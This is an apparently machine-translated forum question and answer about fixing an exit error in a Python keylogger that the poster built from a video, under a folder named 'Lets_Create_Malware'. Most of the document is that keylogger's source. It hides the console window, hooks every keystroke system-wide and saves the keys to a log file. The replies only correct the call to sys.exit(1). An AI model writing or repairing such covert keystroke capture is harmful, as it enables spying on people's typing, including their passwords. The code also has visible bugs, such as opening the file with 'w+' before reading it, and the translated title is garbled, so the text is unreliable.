2016-07-06 74 views
1

我有Python代碼基於YouTube video錯誤與Python,即使我包括圖書館

當我輸入Ctrl-E退出,我得到錯誤Traceback (most recent call last): File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch return func(event) File "C:/Lets_Create_Malware/keyz.pyw", line 21, in OnKeyboardEvent _exit(1) NameError: global name '_exit' is not defined即使我了sys庫。

我對此很感興趣。這是我記錄的代碼。任何幫助最受讚賞。

import win32api #win32* to interact with Windows environment 
import win32console 
import win32gui 

import pythoncom #python to interact with windows 
import pyHook #captures input, such as from a keyboard 

import sys #use system-specific parameters such as _exit 
import logging #enables logging 


#hide python command window 
win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win,0) 

#exit script that uses ASCII value 5 to end program 
#ASCII value 5 is same as Ctrl-E 
#OnKeyboardEvent is invoked with key on keyboard is pressed 
def OnKeyboardEvent(event): 
    if event.Ascii == 5: 
     _exit(1) 

    #if input is not null or backspace, record input 
    if event.Ascii != 5: 

     #open read-only copy of log file and save to variable buffer 
     f=open('c:\\Lets_Create_Malware\\output.txt', 'w+') 
     buffer=f.read() 
     f.close 

     #re-open log file, this time you can write to it 
     f=open('c:\\Lets_Create_Malware\\output.txt','w') 

     #save all log information as variable keylogs 
     keylogs=chr(event.Ascii) 



     #append variable keylogs to variable buffer 
     buffer += keylogs 

     #write buffer to the writable logfile, C:\output.txt 
     f.write(buffer) 

     #close the logfile 
     f.close() 

#create hook manager 
hm = pyHook.HookManager() 

#watch for all key events 
hm.KeyDown = OnKeyboardEvent 

#set the hook that captures all the events 
hm.HookKeyboard() 

#record the events 
pythoncom.PumpMessages() 

回答

2

要使用Python中導入模塊,則必須從模塊module.method調用的方法,所以你應該有sys.exit(1)_exit(1)

+0

Try sys.exit(1) – dmitryro